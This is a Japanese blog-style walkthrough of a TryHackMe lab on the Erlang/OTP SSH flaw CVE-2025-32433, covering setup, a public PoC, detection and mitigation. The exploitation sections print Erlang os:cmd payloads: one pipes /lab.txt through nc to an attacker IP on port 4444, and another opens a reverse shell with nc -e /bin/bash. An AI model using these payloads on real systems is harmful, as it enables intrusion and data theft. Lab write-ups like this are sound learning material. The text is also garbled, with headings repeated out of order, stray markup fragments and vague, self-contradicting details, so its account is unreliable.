Erlang/OTP SSH脆弱性の再現とCVE-2025-32433対策方法

Erlang/OTP SSHの脆弱性をハッキングラボで体験してみよう

エリクソンが昔、通信システムのために作ったという話もあるErlangだけど、今は色んな分野で使われている気がする。大きな会社でも使われてるという話を耳にしたことがあって、大学なんかでも教えたり研究で使うこともあるようだ。公式ページを見ると、もう少し詳しく知れるかもしれない。

OTPっていうのは、元々はTelecom向けだったらしいけど、最近じゃ用途が広がってきた感じもある。Erlangそのものだけじゃなくて、そのライブラリやツール群――それら全部ひっくるめてOTPと呼ぶことが多いみたい。どうやらミドルウェア的な役割を持つ部分も混ざっているとか。

分散処理とか高可用性を求めるリアルタイム系のシステムづくりに向いていると言われていて、それこそ製品開発から研究まで幅広く見かける印象。ただ、「数十社」とか「七十以上」というほど正確な数字まではよく分からない。

Erlang単体というより、大抵の場合はErlang本体とこれら関連ツール一式をセットで使うケースが多いっぽい。それぞれの機能について全部把握している人は少ない気もする。

ErlangとOTPがどんなものか簡単に理解する

Erlang/OTPというものがあるのは、知っている人も少なくないかもしれない。SSHプロトコルを実装していて、Erlangベースのシステム内で安全なシェルアクセスやファイル転送なんかができる仕組みらしい。ところが、最近どこかの大学(たしかドイツだったような…)から研究者たちが新しい脆弱性を見つけて報告したことが話題になっていたっぽい。危険度は相当高めに評価されていて、「最悪の場合リモートでコード実行される」可能性も考えられるとか。

技術的な概要について調べてみると、どうやら問題はSSHプロトコルの認証前フェーズに関係している様子。数字で言うと八十以上くらいのSSHメッセージ番号は、本来なら認証後じゃないと使われちゃいけない決まり。でも、その辺りのチェックをサーバ側があまり厳しくしていないケースが一部で見受けられるみたいだ。そのため、クライアントから本来許可されていない種類のメッセージを先に送りつけても接続自体切断されず、攻撃者側に余計な隙間を与えてしまう…そんな現象につながっている、と聞いた。

ちなみに、この問題へのPoC(Proof of Concept)コードも既に公開済みとのことで、その辺りにも注目する人は増えてきている印象。ただし詳細についてはまだ分からない点もちらほら残っているようだ。全体像としてはこんな感じだけど、今後さらに情報が出てくる可能性もありそうだね。

Comparison Table:
タイトル内容
脆弱性の概要SSHプロトコルに関連する脆弱性が存在し、特定のOTPバージョンに影響を与える可能性がある。
攻撃手法ネットワーク通信履歴を分析することで、外部からの攻撃を検知できる。特に「SSH_MSG_CHANNEL_REQUEST」パケットに注意。
防御策ファイアウォールやNIDS/NIPSでの監視と適切なアップデートが重要。必要に応じてSSHサーバーを無効化することも推奨。
調査ポイント不審なトラフィックや未知のIPへの接続増加、異常なログイン試行などを観察すること。
リソース利用TryHackMeなどのプラットフォームで学びながらスキル向上を図ることができる。

ErlangとOTPがどんなものか簡単に理解する

CVE-2025-32433がなぜ危険なのかを知る


攻撃が始まるまでに、たしか四段階くらいの流れがあって、一番最後――つまり四番目――で攻撃者側のコードを送り込む仕組みになっているらしい。認証よりも前に、そのペイロードが走る形。AttackBoxを起動するには、ページ上部あたりにある「Start AttackBox」と書かれているボタンを押して待てば、しばらくした後に端末へ入れるようになるはず。ターゲット用マシンも同じような感じで、「Start Machine」って表示されている場所からスタートできる。どちらも準備ができたと思った頃合いで、AttackBox内のターミナルを開くことになるかな。

git cloneコマンドを使ってエクスプロイトコード自体は落としてこれるので、それほど難しくない。ただ、この手順はTryHackMeの教材だと明記されていた気もする。cloneした後はCVE-2025-32433ディレクトリ内へ移動しないと先に進めなくて、その中身のCVE-2025-32433.pyというPythonファイルを書き換える必要があるみたい。ターゲットとなるIP(たぶんMACHINE_IPとか呼ばれていた)やポート番号(二十数番台だった記憶…多分SSHだから二十代前半)が、その冒頭付近――六行程度?――に書いてあるので、そこだけ該当環境用に直すことになる。

準備さえ終われば、エクスプロイト実行自体は特別な操作じゃない。このPoCでは危険性というより挙動確認寄りなので、「lab.txt」という名前のファイルを作成して、中身には「pwned」って文字列だけ残すっぽい。このpayload自体、Erlang語法で書かれているのが特徴的なんだけど(file:write_file("/lab.txt", >).)、もしもっと凝ったものを投げ込みたいなら、やっぱりErlangで記述しなきゃダメらしい。

上手く進めばターゲットVM上でexploitが通った旨が見える例も示されていたと思うけど…画像付きだったかどうか曖昧なので、その辺り多少違う場合もありそう。

実際に脆弱性を再現するための環境構築手順


攻撃者の目線でシステムに直接触れることはできない、そんな状況もまぁある。たとえば、何かしらの方法でエクスプロイトを動かした後、その成果を確かめるってなると、一筋縄ではいかない。ファイルがちゃんと作られたか知りたいだけなんだけどね。

/lab.txt というファイルが存在しているかどうか、それから中身まで見てみたい。でも仮想マシンの画面には手が届かないわけだし、どうにか外側から確認する必要が出てくる。こういう場面では、アタックボックス側でポート待ち受けするやり方が昔からよく使われていた気もする。nc(ネットキャット)って呼ばれているツールを使うことになる場合が多いかな。4444番ポートあたりで聞き耳を立てればいい、と誰か言っていた気もする。

順序は前後するけど、ペイロード自体も少し手直しが必要だったりする。「file:write_file("/lab.txt", <<"pwned">>).」みたいなErlangの命令文を書いていた部分、そこを「os:cmd("cat /lab.txt | nc 10.10.203.93 4444").」へ差し替える感じになるっぽい。この一行のお陰で/lab.txt の中身がそのままリスナーへ流れ込む仕組みだとか。細かな話だけど、Erlang文法的に最後にピリオド付け忘れると動作しなくなるので注意したほうが良さそう。

この辺り色々試してみる人もいるようだ。「nmap」というツール使った話もちょくちょく耳に挟む。開いているポート数はほんの二つくらいだったと思う。他にも情報収集用の手段はいろいろありそうだな、とふと思ったり。

要点としては、「lab.txt」が本当に生成されたのか――それを外部から確証得るためには、この種のテクニックを組み合わせて使う場面も珍しくない。ただ全て順風満帆に進むとは限らず、不明点や不具合が出ることもしばしば見聞きしてきた気がする。それでも諦めず観察続ければ、そのうち何かわかったりするものなんじゃないかな、と考える人もいるようだよ。

実際に脆弱性を再現するための環境構築手順

PoCコードを使って攻撃を実行してみる


nmapで調べてみた時、なんだかSSHのサービスが二つ見つかった気がする。普通のポートと、数字が多いほう。前者はSSH-2.0-Erlangってやつだったかな…記憶違いじゃなければ。細かいバージョンまでは覚えてないけど、Erlangベースらしい。それからもう一つはUbuntuでよく見るOpenSSHっぽかった。

サービスの詳細を調べる過程で、どこかに「もし知っていたら情報提供してね」みたいなメッセージが出てきたような…。あれは珍しい通信パターンに対するものだったのかも。

MACアドレスも何となく目にした気がするけど、メーカー名までは正直ピンと来なかった。

次に進んだ時、ProDefenseというグループ(?)のリポジトリをクローンした記憶がある。CVE番号付きだから、多分脆弱性検証系なのかなと推測。ただ、その中身は手早くチェックしただけなので全部把握してるとは言えない。

PythonスクリプトやらDockerfileやら数個ファイルが入っていて、「README.md」も一応あった。でも実際手を動かす時には、とりあえずスクリプトの中身だけざっと眺めて終わった気がする。nanoで開いてちょっとコマンドを書き換えた場面も思い出す。その時何を修正したんだっけ……確か『file:write_file』じゃなくて『os:cmd』経由で別コマンド流す形に変えていたような?細部は曖昧。

攻撃側IP宛てにnc(ネットキャット)使って転送させるコマンドへ差し替えた後、再度スクリプト走らせてみたことだけは覚えている。でも実行結果とか表示内容まで全部克明には思い出せない…。

設問2.2.について触れるなら、「rootディレクトリのフラグ」を探す流れになったと思う。「cat /flag.txt」と打つ必要あり…ぐらいしかヒントとして書いてなかった気もする。その結果として得られるフラグ文字列…THMから始まるアルファベット混じりだったような雰囲気。「U57U3P5KnR」と続いていた印象だけ残っている。

途中色々寄り道しながら進んだので、一連の操作や発見事項について完璧に整理できているわけじゃない。ただ、おおまかな流れ――探索→クローン→改変→取得→flag確認――この順序自体には大きくズレはなさそう。

攻撃が成功したかどうかを確認する方法

[._ ![] — リスナーの設定をして、スクリプトも何とか動かしたんだよね。! [] **二、三くらい** で、「このシステムのホスト名って結局何?」と疑問に思う人もいるかもしれない。ヒントとしては、hostnameコマンドを使ったり、あるいはErlangの命令文(os:cmd("nc CONNECTION_IP 4444 -e /bin/bash"))みたいな裏技でリバースシェルを仕込むことも可能っぽい。

`c7b79fd068ba` — コマンドを微調整した感じかな。_ . _ ! [] — さっきリスナー起動して、そのままスクリプト走らせてhostnameで確認したような記憶がある。![]

--- ## タスク三
.検知

### ネットワークベースの検知

攻撃自体はどうやらSSHプロトコルの実装層あたりに絡んでるらしいので、普通に考えてSSHデーモン側のログだけ追っても決定的な証拠にはならないみたい。それよりもう少し深く掘り下げる必要が出てくる場合もありそう。全体像が見えづらくて、細かいところまで観察しないと分からない時が多いかもしれないね。

攻撃が成功したかどうかを確認する方法

ネットワーク監視でこの攻撃を検知できるか考えてみる

たしか、ネットワークの通信履歴を眺めてみると、攻撃がどこから来たかなんとなく分かることもある。いわゆる「SSH_MSG_CHANNEL_REQUEST」というパケットが外部からサーバーへ飛んできて、その中身を見ると「exec」って文字列で始まるコマンドが平文のまま混じっていたりするらしい。これ、何人かの研究者が指摘していて、TryHackMeというところでも説明されてた気がするけど…画像や細かい理論はそっちの持ち物だったはずだ。

最近はファイアウォール系のベンダーでも、この手口に反応するネットワーク型防御ルール(NIDSとかNIPSと呼ばれてたり)を順番に取り入れ始めているみたいだ。Suricata以外にも代替案はいろいろ出てきている感じかな。一例として挙げられるものだとFortiGateのIPSルールとか、あとはGitHub上で公開されているSuricata用のルールなんかも見かけた記憶がうっすらある。

けどまあ、それだけじゃなく別方向から気付くパターンも出てくるようで…。この脆弱性自体は、大体の場合ネットワーク機器に影響しやすいみたいで、そういう装置って会社内やその一部セグメントを管理していたりするから、そこ経由で攻撃者がAD(Active Directory)とか、本番サーバー群、そのほか重要なネットワークに足掛かりを作る場合もちょくちょく報告されている。

だから自分で調査するときには、「何となくおかしい動き」を追跡する感じになるんじゃないかなと考えたりしたこともあった。特にネットワーク機器から普段アクセスしない先への接続や、不審なトラフィックなどを注視した方が良さそう。

もし対象デバイスのファイルシステムを覗ける状況なら――
・脆弱性発覚後あたりから変な実行ファイルや予想外のファイル更新
・Linux機器ならcronジョブみたいなOS依存の定着方法、新しく増えてたり
・登録されてない外部IPへの通信が妙に増えていたり

逆に他サーバー側で気付けそうなのは――
・モニタリングしているサーバー宛に、そのネットワーク機器から今まで無かったログイン試行とかポートスキャンっぽいもの
・突然つながりづらくなるとか、ルーティング設定がおかしくなる、高負荷になったような現象

まあ全部必ず起こるわけじゃなく、「そんな可能性もある」程度と思った方が合ってそうだ。

ホストベースの検知方法で痕跡を見つけるコツ

ErlangやOTPを取り入れているハードウェアやソフトの製品、意外とあちこちで見かけるものらしい。まあ、そういう中には外部からSSHが普通に開いてしまってるものもあるみたい。自分の手元にあるプロダクトでSSHが有効になっているかを一度調べておくと良いだろうし、何か影響が出ているか確認した方が無難だろう。

で、今回問題視されている脆弱性、対象になるOTPバージョンって七つ八つくらい前までさかのぼるイメージかな…細かい数字はさておき、おおよそ最近出たばかりじゃないものは大半が含まれるっぽい。つまり、「そこそこ古め」なバージョンを使っている場合には気を付けた方がいいという話。

修正版というのも既に公開されていたような気もするし、それらしいアップデートが入った後なら安心できる部分もある。ただ、全部一気に直せるわけでもないので、一応「新しめ」のバージョンになっていることだけでも確かめておくくらいは悪くないと思う。放置しておいて何も起こらなかった例も少なくないとは聞くけど、念のため。

ホストベースの検知方法で痕跡を見つけるコツ

この脆弱性を修正するための具体的な対策案

たしか、SSHサーバーについては、状況によっては最新の状態にするのが難しいこともあるみたいですね。ユーザーの方には、更新がどうしてもできない時には、とりあえずこのサーバー自体を無効化することを勧める声も聞いたことがあります。でも、それすら現実的じゃない場面では、防火壁でアクセスを遮断しておくのが良さそうです。
最近だと七十人くらいかそれ以上の利用者がこういった問題に直面したという話もありましたし、どこかで見かけた「脅威情報」みたいなモジュールも参考になる場合があるかもしれません。もしこういう脆弱性について知るのが面白かったなら、ちょっと覗いてみてもいいんじゃないでしょうかね。全部が役立つとは限りませんけど、自分に関係ある部分だけ拾い読みする形でも…たぶん悪くはないと思いますよ。

TryHackMeでさらに学べる関連コンテンツを探す


答えはいらないと書かれていたような気がするけど、この部屋はもう終わったみたい。ところで、この記事や画像はTryHackMeのものなんだって。そういえば、自分のTryHackMeでの歩みについて、ざっくり言うと一年近くほぼ毎日ログインしてたことがあった。その間に七百に届きそうな部屋を片付けたり、バッジも五十枚以上集めていた気がする。ポイントも十万近くになっていて、これはまあ少なくはない数字かな。
世界のランキングだと二百位ちょっとあたりだったと思う。ただ、月ごとの順位なら五十番台に入ることもあったし、日本とかアジア圏じゃなくてブラジル内では上位十人以内とか、その時によって変わるけどそんな感じだった。さらに月間だけ見れば二位くらいまで行ったこともあるような…。

全体的にどうしても細かい数字は覚えていないけれど、「約三成」の達成度と言えば伝わるかな?それとも「半分弱」くらい? まあ、それくらいの頑張り方という印象だね。

あと最後になるけど、立ち寄ってくれてありがとうって思うことがある。もしよかったらMediumやGitHub、それからLinkedInでも自分について見てもらえたら嬉しいなぁ、とかつぶやいてみたり。他にもクラウド関連やセキュリティ系の記事をそちらにも載せているので…興味があれば程度で十分なので。

このチャレンジ自体はTryHackMeと、それからstrategosさんやTactfulTurtleさんのおかげでできたものなんだそうです。本当に感謝したいですね。こういう機会を作ってくださる方々のお陰で、自分もちょっとずつスキル磨きできているんじゃないかと思っています。でも、人によって感じ方違うし、自分の場合は…という話です。それだけ伝えておこうかなと思います。

Related to this topic:

Comments